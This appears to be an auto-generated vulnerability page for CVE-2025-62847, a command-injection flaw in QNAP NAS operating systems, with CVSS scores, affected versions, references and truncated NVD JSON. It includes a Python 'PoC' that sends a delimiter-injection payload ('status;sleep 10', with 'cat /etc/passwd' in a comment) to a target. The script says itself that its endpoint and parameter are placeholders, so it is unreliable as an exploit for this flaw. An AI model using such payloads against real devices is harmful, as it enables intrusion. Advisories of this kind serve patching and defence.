CVE-2025-62847

Description

An improper neutralization of argument delimiters in a command vulnerability has been reported to affect several QNAP operating system versions. The remote attackers can then exploit the vulnerability to alter execution logic. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3297 build 20251024 and later QuTS hero h5.2.7.3297 build 20251024 and later QuTS hero h5.3.1.3292 build 20251024 and later

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.7.3297 build 20251024

QuTS hero h5.2.7.3297 build 20251024之前版本

QuTS hero h5.3.1.3292 build 20251024之前版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-62847 PoC - QNAP Command Injection
# Note: This is a conceptual PoC for educational purposes only

import requests
import argparse

def exploit_qnap_cve_2025_62847(target_ip, target_port=8080):
    """
    CVE-2025-62847 - QNAP Command Injection
    Target: QNAP NAS devices running vulnerable QTS/QuTS hero versions
    """
    
    # Vulnerable endpoint - specific path needs to be identified
    # This is a placeholder for the actual vulnerable endpoint
    vulnerable_endpoint = f"http://{target_ip}:{target_port}/cgi-bin/"
    
    # Malicious payload using command delimiter injection
    # The vulnerability allows injection of argument delimiters
    # Common delimiters: ; | & $() `` 
    
    payload = {
        # Example: Injecting command using semicolon delimiter
        # cmd=value;cat /etc/passwd
        'command': 'status;sleep 10',
        # Additional parameters may be required
    }
    
    print(f"[*] Targeting: {target_ip}:{target_port}")
    print(f"[*] Exploiting CVE-2025-62847")
    
    try:
        # Send malicious request
        response = requests.post(
            vulnerable_endpoint,
            data=payload,
            timeout=30
        )
        
        print(f"[+] Request sent to {vulnerable_endpoint}")
        print(f"[*] Response Status: {response.status_code}")
        
        if response.elapsed.total_seconds() >= 10:
            print("[+] Command injection confirmed - time-based blind injection works")
        
        return response.text
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2025-62847 PoC')
    parser.add_argument('target', help='Target IP address')
    parser.add_argument('-p', '--port', default=8080, type=int, help='Target port')
    args = parser.parse_args()
    
    exploit_qnap_cve_2025_62847(args.target, args.port)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62847
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62847
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62847/
[4] VulDB https://vuldb.com/cve/CVE-2025-62847
[5] https://www.qnap.com/en/security-advisory/qsa-25-45

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62847", "sourceIdentifier": "[email protected]", "published": "2025-12-16T03:15:58.200", "lastModified": "2025-12-17T13:56:48.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of argument delimiters in a command vulnerability has been reported to affect several QNAP operating system versions. The remote attackers can then exploit the vulnerability to alter execution logic.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.7.3297 build 20251024 and later\nQuTS hero h5.2.7.3297 build 20251024 and later\nQuTS hero h5.3.1.3292 build 20251024 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:*", "matchCriteriaId": "F4026A4B-7AB4-48EA-971D-88DFDD3F01A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:*", "matchCriteriaId": "1F3F99BB-0D68-4D74-92C8-59E24F96C50D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:*", "matchCriteriaId": "1DE63B4D-8E84-41D3-B1F3-04AE6040242B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:*", "matchCriteriaId": "75746563-C648-4E55-9126-703F915F8B8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:*", "matchCriteriaId": "AF6BA027-A635-4E90-80C8-130B10AB3D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2851:build_20240808:*:*:*:*:*:*", "matchCriteriaId": "5406F242-A215-4B07-809F-7A7CE55ACE71"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.0.2860:build_20240817:*:*:*:*:*:*", "matchCriteriaId": "FA17778E-B3B1-44DD-B4E9-5AD25A3E804C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.1.2930:build_20241025:*:*:*:*:*:*", "matchCriteriaId": "E3FC6646-2247-4ED9-9643-CD376674E2E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.2.2950:build_20241114:*:*:*:*:*:*", "matchCriteriaId": "62170342-067D-442C-88FB-64A4BEA8AFE4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.3.3006:build_20250108:*:*:*:*:*:*", "matchCriteriaId": "82464467-E1E6-47E1-BDE5-DDFA52994A47"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3070:build_20250312:*:*:*:*:*:*", "matchCriteriaId": "75AE902C-0516-4341-9BF0-21D8803E091C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3079:build_20250321:*:*:*:*:*:*", "matchCriteriaId": "5B005D70-8C91-48D4-B09A-9EBE2E9E5090"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.4.3092:build_20250403:*:*:*:*:*:*", "matchCriteriaId": "82FE5F89-A0E1-4D1B-A363-0A0D4141F502"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qts:5.2.5.3145:build_2 ... (truncated)